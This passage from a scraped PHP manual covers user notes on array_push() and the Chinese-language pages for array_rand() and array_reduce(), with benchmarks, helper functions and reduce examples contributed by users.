for ($i = 0; $i < 10000; $i++)
{
        array_push($ta,$i,$i,$i,$i,$i,$i,$i,$i,$i,$i);
}
$test->Finish();
echo $test->GetDiff();
?>

Output

$ php5 arraypush.php
X-Powered-By: PHP/5.2.5
Content-type: text/html

Adding 100k elements to array with []

0.044686794281006

Adding 100k elements to array with array_push

0.072616100311279

Adding 100k elements to array with [] 10 per iteration

0.034690141677856

Adding 100k elements to array with array_push 10 per iteration

0.023932933807373
bxi at apparoat dot nl 23-May-2008 04:29
I've done a small comparison between array_push() and the $array[] method and the $array[] seems to be a lot faster.

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    $array[] = $x;
}
?>
takes 0.0622200965881 seconds

and

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    array_push($array, $x);
}
?>
takes 1.63195490837 seconds

so if your not making use of the return value of array_push() its better to use the $array[] way.

Hope this helps someone.
alexander dot williamson at gmail dot com 26-Mar-2008 04:06
This will work to solve the associative array issues:

$aValues[$key] = $value;

Where $key is a unique identifier and $value is the value to be stored. Since the $key works off a string or number, if you already have a $key with the same value as an existing $key, the element will be overwritten.

e.g.

$aValues["one"] = "value of one";
$aValues["two"] = "different value of two!";

gives:
array([one] => "value of one", [two] => "value of two");

but will be overwritten when using the same key (one):

$aValues["one"] = "value of one";
$aValues["one"] = "different value of two!";

will give:

array([one] => "different value of two!");

3686
zbde00 at hotmail dot com 20-Jul-2007 05:59
A very good function to remove a element from array
function array_del($str,&$array)
{
    if (in_array($str,$array)==true)
    {

        foreach ($array as $key=>$value)
        {
            if ($value==$str) unset($array[$key]);
        }
    }
}
Marc Bernet 15-May-2006 09:18
A small and basic implementation of a stack without using an array.

class node
{
        var $elem;
        var    $next;
}
class stack
{
    var $next;
    function pop()
    {
        $aux=$this->next->elem;
        $this->next=$this->next->next;
        return $aux;
    }
    function push($obj)
    {
        $nod=new node;
        $nod->elem=$obj;
        $nod->next=$this->next;
        $this->next=$nod;
    }
    function stack()
    {
        $this->next=NULL;
    }
}
egingell at sisna dot com 28-Jan-2006 06:06
If you push an array onto the stack, PHP will add the whole array to the next element instead of adding the keys and values to the array. If this is not what you want, you're better off using array_merge() or traverse the array you're pushing on and add each element with $stack[$key] = $value.

<?php

$stack = array('a', 'b', 'c');
array_push($stack, array('d', 'e', 'f'));
print_r($stack);

?>
The above will output this:
Array (
  [0] => a
  [1] => b
  [2] => c
  [3] => Array (
     [0] => a
     [1] => b
     [2] => c
  )
)
steve at webthoughts d\ot ca 12-Nov-2005 04:02
Further Modification on the array_push_associative function
1.  removes seemingly useless array_unshift function that generates php warning
2.  adds support for non-array arguments

<?
// Append associative array elements
function array_push_associative(&$arr) {
   $args = func_get_args();
   foreach ($args as $arg) {
       if (is_array($arg)) {
           foreach ($arg as $key => $value) {
               $arr[$key] = $value;
               $ret++;
           }
       }else{
           $arr[$arg] = "";
       }
   }
   return $ret;
}

$items = array("here" => "now");
$moreitems = array("this" => "that");

$theArray = array("where" => "do we go", "here" => "we are today");
echo array_push_associative($theArray, $items, $moreitems, "five") . ' is the size of $theArray.<br />';

echo "<pre>";
print_r($theArray);
echo "</pre>";

?>

Yields:

4 is the size of $theArray.
Array
(
    [where] => do we go
    [here] => now
    [this] => that
    [five] =>
)
john 19-Oct-2005 01:33
A variation of kamprettos' associative array push:

// append associative array elements
function associative_push($arr, $tmp) {
  if (is_array($tmp)) {
    foreach ($tmp as $key => $value) {
      $arr[$key] = $value;
    }
    return $arr;
  }
  return false;
}

$theArray = array();
$theArray = associative_push($theArray, $items);
kamprettos at yahoo dot com Teguh Iskanto 19-Sep-2005 05:33
Looking for a way to push data into an associative array and frustrated to know that array_push() can't do the job ?

here's my Scenario :
-------------------
I need to relate system command output into an associative array like these :

[sge@digital_db work]$ /usr/local/apache/htdocs/work/qhost.sh -h t1 -F | awk '{if(NR>4) print $1}' | sed  's/hl://g'
arch=lx24-amd64
num_proc=2.000000
mem_total=3.808G
swap_total=3.907G
virtual_total=7.715G
load_avg=0.000000
load_short=0.000000
load_medium=0.000000
load_long=0.000000
mem_free=3.510G
swap_free=3.907G
virtual_free=7.417G
mem_used=305.242M
swap_used=0.000
virtual_used=305.242M
cpu=0.000000
np_load_avg=0.000000
np_load_short=0.000000
np_load_medium=0.000000
np_load_long=0.000000

how I did it :
<? php

# get into the system command output
$assoc_cmd =`$work_dir/qhost.sh -h $host_resource -F | awk '{if(NR>4) print $1}'| sed  's/hl://g' ` ;

# split the "\n" character
$assoc_row = explode("\n", chop($assoc_cmd));

# get the index row
$idx_row  = count($assoc_row) - 1 ;

# initialize the associative array
$host_res_array = array();

for ($i = 0 ; $i<= $idx_row ; $i++)
        {
                # get params & values
                list($host_param,$host_val) = explode("=",$assoc_row[$i]);

                # populate / push data to assoc array
                $host_res_array[$host_param]= $host_val ;
        }

echo "<pre> Architecture : </pre>\n" ;
echo $host_res_array['arch'] ;
echo "<pre> Mem Total    : </pre>\n" ;
echo $host_res_array['mem_tot'];

?>

Hope this helps ! :)
bk at quicknet dot nl 04-Sep-2005 01:51
Add elements to an array before or after a specific index or key:

<?php

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_before($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos), $in, array_slice($src,$pos));
    else{
        foreach($src as $k=>$v){
            if($k==$pos)$R=array_merge($R,$in);
            $R[$k]=$v;
        }
    }return $R;
}

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_after($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos+1), $in, array_slice($src,$pos+1));
    else{
        foreach($src as $k=>$v){
            $R[$k]=$v;
            if($k==$pos)$R=array_merge($R,$in);
        }
    }return $R;
}

// Examples:

$src=array("A","B","C");
$in=array("X","Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "X"
  [2]=>
  string(1) "Y"
  [3]=>
  string(1) "B"
  [4]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "B"
  [2]=>
  string(1) "X"
  [3]=>
  string(1) "Y"
  [4]=>
  string(1) "C"
}*/

$src=array('a'=>"A",'b'=>"B",'c'=>"C");
$in=array('x'=>"X",'y'=>"Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, key array, before index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_before($src,$in,'b'));
/* array_push_before, key array, before key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, key array, after index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,'b'));
/* array_push_after, key array, after key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

?>
ciprian dot amariei at gmail com 30-Aug-2005 02:47
regarding the speed of oneill's solution to insert a value into a non-associative array,  I've done some tests and I found that it behaves well if you have a small array and more insertions, but for a huge array and a little insersions I sugest  using this function:

function array_insert( &$array, $index, $value ) {
   $cnt = count($array);

   for( $i = $cnt-1; $i >= $index; --$i ) {
       $array[ $i + 1 ] = $array[ $i ];
   }
   $array[$index] = $value;
}

or if you are a speed adicted programmer (same situation: big array, few insertions) use this:

array_splice ( $array, $offset, 0, $item );

item may also be an array of values ;).
Phil Davies 18-Jul-2005 03:51
As someone pointed out the array_push() function returns the count of the array not the key of the new element. As it was the latter function i required i wrote this very simple replacement.

function array_push2(&$array,$object,$key=null){
    $keys = array_keys($array);
    rsort($keys);
    $newkey = ($key==null)?$keys[0]+1:$key;
    $array[$newkey] = $object;
    return $newkey;
}
oneill at c dot dk 03-Jun-2005 01:50
To insert a value into a non-associative array, I find this simple function does the trick:

function insert_in_array_pos($array, $pos, $value)
{
  $result = array_merge(array_slice($array, 0 , $pos), array($value), array_slice($array,  $pos));
  return $result;
}

Seems an awful lot simpler than the iterative solutions given above...
aaron dot hawley at uvm dot edu 27-May-2005 11:36
Skylifter notes on 20-Jan-2004 that the [] empty bracket notation does not return the array count as array_push does.  There's another difference between array_push and the recommended empty bracket notation.

Empy bracket doesn't check if a variable is an array first as array_push does.  If array_push finds that a variable isn't an array it prints a Warning message if E_ALL error reporting is on.

So array_push is safer than [], until further this is changed by the PHP developers.
andrew at cgipro dot com 02-Feb-2005 03:18
Need a real one-liner for adding an element onto a new array name?

$emp_list_bic = $emp_list + array(c=>"ANY CLIENT");

CONTEXT...
drewdeal: this turns out to be better and easier than array_push()
patelbhadresh: great!... so u discover new idea...
drewdeal: because you can't do:   $emp_list_bic = array_push($emp_list, c=>"ANY CLIENT");
drewdeal: array_push returns a count and affects current array.. and does not support set keys!
drewdeal: yeah. My one-liner makes a new array as a derivative of the prior array
bart at framers dot nl 27-Sep-2001 04:16
Array_push also works fine with multidimensional arrays. Just make sure the element is defined as an array first.

<?php
$array["element"][$element]["element"] = array();
array_push ($array["element"][$element]["element"], "banana");
?>


从数组中随机取出一个或多个随机键

  • ? array_push
  • array_reduce ?
  • PHP Manual
  • 数组 函数
  • 从数组中随机取出一个或多个随机键

array_rand

(PHP 4, PHP 5, PHP 7, PHP 8)

array_rand — 从数组中随机取出一个或多个随机键

说明

array_rand(array $array, int $num = 1): int|string|array

从数组中取出一个或多个随机的单元，并返回随机条目对应的键（一个或多个）。

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

参数

array

输入的数组。

num

指定要取出的单元数量。

返回值

如果只取出一个，array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后，就可以根据随机的键获取数组的随机值。 如果返回的是包含随机键名的数组，数组单元的顺序按照键名在原数组中的顺序排列。 取出数量如果超过 array 的长度，就会导致 E_WARNING 错误，并返回 NULL。

更新日志

版本 | 说明
7.1.0 | 内部随机化算法已从 libc rand 函数更改为使用 » 梅森旋转算法（Mersenne Twister） 随机数生成器。

示例

Example #1 array_rand() 例子

<?php
$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");
$rand_keys = array_rand($input, 2);
echo $input[$rand_keys[0]] . "\n";
echo $input[$rand_keys[1]] . "\n";
?>

参见

  • Random\Randomizer::pickArrayKeys() - Select random array keys
  • Random\Randomizer::shuffleArray() - Get a permutation of an array

User Contributed Notes

divinity76+spam at gmail dot com 19-Apr-2022 01:36
for a cryptographically secure version, try

<?php

/**
 * fetch a random key from array, using a cryptograpically secure rng
 * discussed+reviewed at https://codereview.stackexchange.com/questions/275832/cryptographically-secure-version-of-the-core-array-rand-function/
 *
 * @param array $array
 * @throws ValueError if array is empty
 * @return int|string key
 */
function array_rand_cryptographically_secure(array $array)/*: int|string*/ {
    $max = count ( $array ) - 1;
    if ($max < 0) {
        throw new ValueError ( 'Argument #1 ($array) cannot be empty' );
    }
    return key ( array_slice ( $array, random_int ( 0, $max ), 1, true ) );
}

$tests = [
        [5, 6, 7],
        ['a' => 1, 'b' => 2, 'c' => 3],
        ['zero', 4 => 'four', 9 => 'nine'],
        ["PEAN"=>0],
        []
];
foreach ($tests as $test) {
    echo array_rand_cryptographically_secure($test) . "\n";
}

?>
(this is an improved version, which unlike the first version, avoids copying *all* the keys)
Vitaly 03-Dec-2021 03:06
Generate random index in weights array.
Implementation of Vose's Alias Method.

<?php
class AliasMethod
{
    protected $count;
    protected $prob;
    protected $alias;

    public function __construct($weight)
    {
        $count = count($weight);
        $sum = array_sum($weight);
        $d = $count / $sum;
        $small = [];
        $large = [];

        foreach ($weight as $i => & $w) {
            if ( ($w *= $d) < 1)
                $small[] = $i;
            else
                $large[] = $i;
        }
        unset($w);

        $prob = [];
        $alias = [];

        while (!empty($small) AND !empty($large)) {
            $l = array_pop($small);
            $g = array_pop($large);
            $prob[$l] = $weight[$l];
            $alias[$l] = $g;

            if ( ($weight[$g] += $weight[$l] - 1) < 1)
                $small[] = $g;
            else
                $large[] = $g;
        }

        foreach ($large as $i)
            $prob[$i] = 1;

        foreach ($small as $i)
            $prob[$i] = 1;

        $this->prob = $prob;
        $this->alias = $alias;
        $this->count = $count;

    }

    public function next(): int
    {
        $i = mt_rand(0, $this->count - 1);
        if (mt_rand() / mt_getrandmax() <= $this->prob[$i])
            return $i;
        else
            return $this->alias[$i];
    }
}

// Usage:

$weight = [1, 2, 1, 1, 100, 1, 1, 5, 1, 1];
$rnd = new AliasMethod($weight);

$results = array_fill(0, count($weight), 0);

for($i = 0; $i < 100000; ++$i) {
    $results[$rnd->next()]++;
}
print_r($results);

/*
 Array
(
    [0] => 901
    [1] => 1785
    [2] => 899
    [3] => 907
    [4] => 87655
    [5] => 867
    [6] => 836
    [7] => 4371
    [8] => 910
    [9] => 869
)
 */
fulachan2 at gmail dot com 30-Sep-2021 07:45
array_rand () takes a random value without ever being able to go back in its choice of random value.
A simple example:
I decide to mix an array of 10 entries to retrieve 3 values. This choice will give increasing and random values.

    $myarray = range(1,10);

    $pm = array_rand($myarray,3);
    // $pm return array(0->0,1->6,2->8)

But if I decide to shuffle an array of 10 entries to get 10 entries, array_rand () will choose to assign a value to each return value and therefore the return array will not be random.

    $gm = array_rand($myarray,count($myarray));
    // $gm not random array(0->0,1->1,2->2,3->3,4->4,5->5,6->6,7->7,8->8,9->9)

The easiest way to have a truly random value:
either use array_rand () in a loop of 1 value at a time

$deg = range(-60,60);
$size = range(16,64);
$color = ["blue","red","green","pink","orange","purple","grey","darkgreen","darkkhaki"];
$i = 0;
$longueur = 10;
do{
    ++$i;
    printf("<span style='transform: rotateZ(%ddeg); display: inline-block;font-size: %spx; color:%s'>%s</span>",
        $deg[array_rand($deg)],
        $size[array_rand($size)],
        $color[array_rand($color)],
        $alnum[array_rand($alnum)]);

}while($i < $longueur);

------------------
or simply use shuffle () to shuffle the array really randomly.
grzeniufication 03-Mar-2018 10:19
<?php

/**
 * Wraps array_rand call with additional checks
 *
 * TLDR; not so radom as you'd wish.
 *
 * NOTICE: the closer you get to the input arrays length, for the n parameter, the  output gets less random.
 * e.g.: array_random($a, count($a)) == $a will yield true
 * This, most certainly, has to do with the method used for making the array random (see other comments).
 *
 * @throws OutOfBoundsException - if n less than one or exceeds size of input array
 *
 * @param array $array - array to randomize
 * @param int $n - how many elements to return
 * @return array
 */
function array_random(array $array, int $n = 1): array
{
    if ($n < 1 || $n > count($array)) {
        throw new OutOfBoundsException();
    }

    return ($n !== 1)
        ? array_values(array_intersect_key($array, array_flip(array_rand($array, $n))))
        : array($array[array_rand($array)]);
}
grzeniufication 03-Mar-2018 09:22
<?php
// An example how to fetch multiple values from array_rand
$a = [ 'a', 'b', 'c', 'd', 'e', 'f', 'g' ];
$n = 3;

// If you want to fetch multiple values you can try this:
print_r( array_intersect_key( $a, array_flip( array_rand( $a, $n ) ) ) );

// If you want to re-index keys wrap the call in 'array_values':
print_r( array_values( array_intersect_key( $a, array_flip( array_rand( $a, $n ) ) ) ) );
Anonymous 13-Jul-2012 02:42
It doesn't explicitly say it in the documentation, but PHP won't pick the same key twice in one call.
Anonymous 02-Oct-2009 01:04
If the array elements are unique, and are all integers or strings, here is a simple way to pick $n random *values* (not keys) from an array $array:

<?php array_rand(array_flip($array), $n); ?>


用回调函数迭代地将数组简化为单一的值

  • ? array_rand
  • array_replace_recursive ?
  • PHP Manual
  • 数组 函数
  • 用回调函数迭代地将数组简化为单一的值

array_reduce

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

array_reduce — 用回调函数迭代地将数组简化为单一的值

说明

array_reduce(array $array, callable $callback, mixed $initial = null): mixed

array_reduce() 将回调函数 callback 迭代地作用到 array 数组中的每一个单元中，从而将数组简化为单一的值。

参数

array

输入的 array。

callback
callback(mixed $carry, mixed $item): mixed
carry

携带上次迭代的返回值； 如果本次迭代是第一次，那么这个值是 initial。

item

携带了本次迭代的值。

initial

如果指定了可选参数 initial，该参数将用作处理开始时的初始值，如果数组为空，则会作为最终结果返回。

返回值

返回结果值。

如果数组为空，并且没有指定 initial 参数，array_reduce() 返回 null。

更新日志

版本 | 说明
8.0.0 | 如果 callback 接受引用传递参数，该方法将会抛出 E_WARNING。

示例

Example #1 array_reduce() 例子

<?php
function sum($carry, $item)
{
$carry += $item;
return $carry;
}

function product($carry, $item)
{
$carry *= $item;
return $carry;
}

$a = array(1, 2, 3, 4, 5);
$x = array();

var_dump(array_reduce($a, "sum")); // int(15)
var_dump(array_reduce($a, "product", 10)); // int(1200), 因为：10*1*2*3*4*5
var_dump(array_reduce($x, "sum", "No data to reduce")); // string(17) "No data to reduce"
?>

参见

  • array_filter() - 使用回调函数过滤数组的元素
  • array_map() - 为数组的每个元素应用回调函数
  • array_unique() - 移除数组中重复的值
  • array_count_values() - 统计数组中每个不同值的出现次数

User Contributed Notes

xyz at record dot contact 01-Feb-2023 06:16
If you want to reindex an array, say to add an ID to each item as a key, you can use the following:

$array = [['id' => 3, 'name' => 'bob'], ['id' => 4, 'name' => 'alice']];
array_reduce($array, fn($new_array, $item) => $new_array + [$item['id'] => $item], []);

Result:

[ 3 => ["id" => 3, "name" => "bob"], 4 => ['id' => 4, 'name' => 'alice'] ]
itsunclexo at gmail dot com 01-Feb-2022 11:15
Let's see an example of array_reduce() to get the frequency of letters.

<?php

$items = "Hello";

$frequencies = array_reduce(str_split($items),
    function($result, $item) {
        if (isset($result[$item])) {
            $result[$item] += 1;
        } else {
            $result[$item] = 1;
        }
        return $result;
    },
    [] // note the initial is an array
);

print_r($frequencies);

?>

and output should be like:

Array
(
    [H] => 1
    [e] => 1
    [l] => 2
    [o] => 1
)
souzacomprog at gmail dot com 06-Dec-2019 12:16
Sometimes we need to go through an array and group the indexes so that it is easier and easier to extract them in the iteration.

<?php

$people = [
    ['id' => 1, 'name' => 'Hayley'],
    ['id' => 2, 'name' => 'Jack', 'dad' => 1],
    ['id' => 3, 'name' => 'Linus', 'dad'=> 4],
    ['id' => 4, 'name' => 'Peter' ],
    ['id' => 5, 'name' => 'Tom', 'dad' => 4],
];

$family = array_reduce($people, function($accumulator, $item) {
    // if you don't have a dad you are probably a dad
    if (!isset($item['dad'])) {
        $id = $item['id'];
        $name = $item['name'];
        // take the children if you already have
        $children = $accumulator[$id]['children'] ?? [];
        // add dad
        $accumulator[$id] = ['id' => $id, 'name' => $name,'children' => $children];
        return $accumulator;
    }

    // add a new dad if you haven't already
    $dad = $item['dad'];
    if (!isset($accumulator[$dad])) {
        // how did you find the dad will first add only with children
        $accumulator[$dad] = ['children' => [$item]];
        return $accumulator;
    }

    //  add a son to his dad who has already been added
    //  by the first or second conditional "if"

    $accumulator[$dad]['children'][] = $item;
    return $accumulator;
}, []);

var_export(array_values($family));

?>

OUTPUT

array (
  0 =>
  array (
    'id' => 1,
    'name' => 'Hayley',
    'children' =>
    array (
      0 =>
      array (
        'id' => 2,
        'name' => 'Jack',
        'dad' => 1,
      ),
    ),
  ),
  1 =>
  array (
    'id' => 4,
    'name' => 'Peter',
    'children' =>
    array (
      0 =>
      array (
        'id' => 3,
        'name' => 'Linus',
        'dad' => 4,
      ),
      1 =>
      array (
        'id' => 5,
        'name' => 'Tom',
        'dad' => 4,
      ),
    ),
  ),
)

<?php
$array = [
  [
    "menu_id" => "1",
    "menu_name" => "Clients",
    "submenu_name" => "Add",
    "submenu_link" => "clients/add"
  ],
  [
    "menu_id" => "1",
    "menu_name" => "Clients",
    "submenu_name" => "List",
    "submenu_link" => "clients"
  ],
  [
    "menu_id" => "2",
    "menu_name" => "Products",
    "submenu_name" => "List",
    "submenu_link" => "products"
  ],
];

//Grouping submenus to their menus

$menu =  array_reduce($array, function($accumulator, $item){
  $index = $item['menu_name'];

  if (!isset($accumulator[$index])) {
    $accumulator[$index] = [
      'menu_id' => $item['menu_id'],
      'menu_name' => $item['menu_name'],
      'submenu' => []
    ];
  }

  $accumulator[$index]['submenu'][] = [
    'submenu_name' => $item['submenu_name'],
    'submenu_link' => $item['submenu_link']
  ];

  return $accumulator;
}, []);

var_export(array_values($menu));

?>

OUTPUT

array (
  0 =>
  array (
    'menu_id' => '1',
    'menu_name' => 'Clients',
    'submenu' =>
    array (
      0 =>
      array (
        'submenu_name' => 'Add',
        'submenu_link' => 'clients/add',
      ),
      1 =>
      array (
        'submenu_name' => 'List',
        'submenu_link' => 'clients',
      ),
    ),
  ),
  1 =>
  array (
    'menu_id' => '2',
    'menu_name' => 'Products',
    'submenu' =>
    array (
      0 =>
      array (
        'submenu_name' => 'List',
        'submenu_link' => 'products',
      ),
    ),
  ),
)
Julian Sawicki 02-Dec-2019 08:28
Array reduce offers a way to transform data.
Please look at the array below. The array has 4 nested array's.
The nested array's have the same keys. Only the value is different.

This code transforms the whole array. See below.

$array = array(
    0 => array('id' => '100', 'name' => 'Henk', 'age' => '30'),
    1 => array('id' => '101', 'name' => 'Piet', 'age' => '33'),
    2 => array('id' => '102', 'name' => 'Wim', 'age' => '43'),
    3 => array('id' => '103', 'name' => 'Jaap', 'age' => '53'),
);

$arr = array_reduce($array, function($carry, $item){

    $arr = array(
        'id' => $item['id'],
        'value' => $item['name'],
    );

    $id = $item['id'];
    $carry[$id] = $arr;

    return $carry;
}, array());

var_dump($arr);

// OUTPUT

array (size=4)
100 => array (size=2)
   'id' => string '100' (length=3)
   'value' => string 'Henk' (length=4)
101 => array (size=2)
   'id' => string '101' (length=3)
   'value' => string 'Piet' (length=4)
102 => array (size=2)
   'id' => string '102' (length=3)
   'value' => string 'Wim' (length=3)
103 => array (size=2)
   'id' => string '103' (length=3)
   'value' => string 'Jaap' (length=4)
849330489 at qq dot com 12-Oct-2019 01:33
The first parameter $array can be also be functions, which produces very interesting and powerful result, which can be used to make an union of middlewares.

<?php

$f1 = function($x, $f){
    echo 'middleware 1 begin.'.PHP_EOL;
    $x += 1;
    $x = $f($x);
    echo 'middleware 1 end.'.PHP_EOL;
    return $x;
};

$f2 = function($x, $f){
    echo 'middleware 2 begin: '.PHP_EOL;
    $x += 2;
    $x = $f($x);
    echo 'middleware 2 end.'.PHP_EOL;
    return $x;
};

$respond = function($x){
    echo 'Generate some response.'.PHP_EOL;
    return $x;
};

$middlewares = [$f1, $f2];
$initial = $respond;
$foo = array_reduce($middlewares, function($stack, $item){
    return function($request) use ($stack, $item){
        return $item($request, $stack);
    };
}, $initial);

$x = 1;
echo $foo($x);

?>

//output:
middleware 2 begin:
middleware 1 begin.
Generate some response.
middleware 1 end.
middleware 2 end.
4
galley dot meng at gmail dot com 15-Mar-2017 05:48
If your array has string keys, you can reduce a two-dimensional array into one-dimensional using array_reduce, array_merge and array_values. (PHP>=5.3.0)

<?php

$two_dimensional = array();

$two_dimensional['foo'] = array('a' => 1, 'b' => 2, 'c' => 3);
$two_dimensional['bar'] = array('a' => 4, 'b' => 5, 'c' =>6);

$one_dimensional = array_reduce($two_dimensional, 'array_merge', array());

$one_dimensional = array_reduce($two_dimensional, function ($one_dimensional, $value) {
    return array_merge($one_dimensional, array_values($value));
}, array());

# becomes array(1, 2, 3, 4, 5, 6)
directrix1 at gmail dot com 03-Nov-2015 04:39
So, if you were wondering how to use this where key and value are passed in to the function. I've had success with the following (this example generates formatted html attributes from an associative array of attribute => value pairs):

<?php

    // Attribute List
    $attribs = [
        'name' => 'first_name',
        'value' => 'Edward'
    ];

    // Attribute string formatted for use inside HTML element
    $formatted_attribs = array_reduce(
        array_keys($attribs),                       // We pass in the array_keys instead of the array here
        function ($carry, $key) use ($attribs) {    // ... then we 'use' the actual array here
            return $carry . ' ' . $key . '="' . htmlspecialchars( $attribs[$key] ) . '"';
        },
        ''
    );

echo $formatted_attribs;

?>

This will output:
 name="first_name" value="Edward"
cwu at nolo dot com 18-Sep-2015 07:34
The single value returned by array_reduce() can be an array -- as illustrated in the following example:
<?php
# calculate the average of an array
function calculate_sum_and_count($sum_and_count, $item)
{
  list($sum, $count) = $sum_and_count;
  $sum += $item;
  $count += 1;
  return [$sum, $count];
}

$a = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
$initial_sum_and_count = [0, 0];
list($sum, $count) = array_reduce($a, "calculate_sum_and_count", $initial_sum_and_count);
echo $sum / $count;
?>
aiadfaris at yahoo dot de 29-May-2014 08:16
notice to function array_reduce()
I suppose the function rsum in the example 1 so it is not correct,
but
$ v + = $ w;
will output 15
aiadfaris at yahoo dot de 29-May-2014 08:14
notice to function array_reduce()
I suppose the function rsum in the example 1 so it is not correct,
but
$ v + = $ w;
will output 15
magnesium dot oxide dot play+php at gmail dot com 11-Apr-2014 05:27
You can reduce a two-dimensional array into one-dimensional using array_reduce and array_merge. (PHP>=5.3.0)

<?php

$two_dimensional = array();
$two_dimensional['foo'] = array(1, 2, 3);
$two_dimensional['bar'] = array(4, 5, 6);

$one_dimensional = array_reduce($two_dimensional, 'array_merge', array());
# becomes array(1, 2, 3, 4, 5, 6)
Altreus 26-Feb-2014 02:30
You can effectively ignore the fact $result is passed into the callback by reference. Only the return value of the callback is accounted for.

<?php

$arr = [1,2,3,4];

var_dump(array_reduce(
    $arr,
    function(&$res, $a) { $res += $a; },
    0
));

# NULL

?>

<?php

$arr = [1,2,3,4];

var_dump(array_reduce(
    $arr,
    function($res, $a) { return $res + $a;  },
    0
));

# int(10)
?>

Be warned, though, that you *can* accidentally change $res if it's not a simple scalar value, so despite the examples I'd recommend not writing to it at all.
kon 03-Dec-2012 01:12
Walking down related object's properties using array_reduce:

<?php
  $a=new stdClass;
  $a->b=new stdClass;
  $a->b->c="Hello World!\n";

  $reductionPath=array("b","c");

  print_r(
    array_reduce(
      $reductionPath,
      function($result, $item){
        return $result->$item;
      },
      $a
    )
  );
?>
ruslan dot zavackiy at gmail dot com 06-Jul-2012 08:29
If you want something elegant in your code, when dealing with reducing array, just unshift first element, and use it as initial, because if you do not do so, you will + first element with first element:

<?php
$arr = array(
    array('min' => 1.5456, 'max' => 2.28548, 'volume' => 23.152),
    array('min' => 1.5457, 'max' => 2.28549, 'volume' => 23.152),
    array('min' => 1.5458, 'max' => 2.28550, 'volume' => 23.152),
    array('min' => 1.5459, 'max' => 2.28551, 'volume' => 23.152),
    array('min' => 1.5460, 'max' => 2.28552, 'volume' => 23.152),
);

$initial = array_shift($arr);

$t = array_reduce($arr, function($result, $item) {
    $result['min'] = min($result['min'], $item['min']);
    $result['max'] = max($result['max'], $item['max']);
    $result['volume'] += $item['volume'];

    return $result;
}, $initial);
?>
php at keith tyler dot com 18-Apr-2010 03:30
If you do not provide $initial, the first value used in the iteration is NULL. This is not a problem for callback functions that treat NULL as an identity (e.g. addition), but is a problem for cases when NULL is not identity (such as boolean context).

Compare:

<?php
function andFunc($a, $b) {
  return $a && $b;
}
$foo = array(true, true, true);
var_dump(array_reduce($foo, "andFunc"));
?>

returns false! One would expect that it would return true because `true && true && true == true`!

Adding diagnostic output to andFunc() shows that the first call to andFunc is with the arguments (NULL, true). This resolves to false (as `(bool) null == false`) and thereby corrupts the whole reduction.

So in this case I have to set `$initial = true` so that the first call to andFunc() will be (true, true). Now, if I were doing, say, orFunc(), I would have to set `$initial = false`. Beware.

Note that the "rmul" case in the example sneakily hides this defect! They use an $initial of 10 to get `10*1*2*3*4*5 = 12000`. So you would assume that without an initial, you would get `1200/10 = 120 = 1*2*3*4*5`. Nope! You get big fat zero, because `int(null)==0`, and `0*1*2*3*4*5 = 0`!

I don't honestly see why array_reduce starts with a null argument. The first call to the callback should be with arguments ($initial[0],$initial[1]) [or whatever the first two array entries are], not (null,$initial[0]). That's what one would expect from the description.

Incidentally this also means that under the current implementation you will incur `count($input)` number of calls to the callback, not `count($input) - 1` as you might expect.
Hayley Watson 23-Oct-2007 02:49
To make it clearer about what the two parameters of the callback are for, and what "reduce to a single value" actually means (using associative and commutative operators as examples may obscure this).

The first parameter to the callback is an accumulator where the result-in-progress is effectively assembled. If you supply an $initial value the accumulator starts out with that value, otherwise it starts out null.
The second parameter is where each value of the array is passed during each step of the reduction.
The return value of the callback becomes the new value of the accumulator. When the array is exhausted, array_reduce() returns accumulated value.

If you carried out the reduction by hand, you'd get something like the following lines, every one of which therefore producing the same result:
<?php
array_reduce(array(1,2,3,4), 'f',         99             );
array_reduce(array(2,3,4),   'f',       f(99,1)          );
array_reduce(array(3,4),     'f',     f(f(99,1),2)       );
array_reduce(array(4),       'f',   f(f(f(99,1),2),3)    );
array_reduce(array(),        'f', f(f(f(f(99,1),2),3),4) );
f(f(f(f(99,1),2),3),4)
?>

If you made function f($v,$w){return "f($v,$w)";} the last line would be the literal result.

A PHP implementation might therefore look something like this (less details like error checking and so on):
<?php
function array_reduce($array, $callback, $initial=null)
{
    $acc = $initial;
    foreach($array as $a)
        $acc = $callback($acc, $a);
    return $acc;
}
?>
yuki [dot] kodama [at] gmail [dot] com 31-Jan-2007 08:56
This code will reduce array deeply.

<?php
function print_s($s) {
    return is_null($s) ? "NULL" : (is_array($s) ? "Array" : ($s ? "TRUE" : "FALSE"));
}
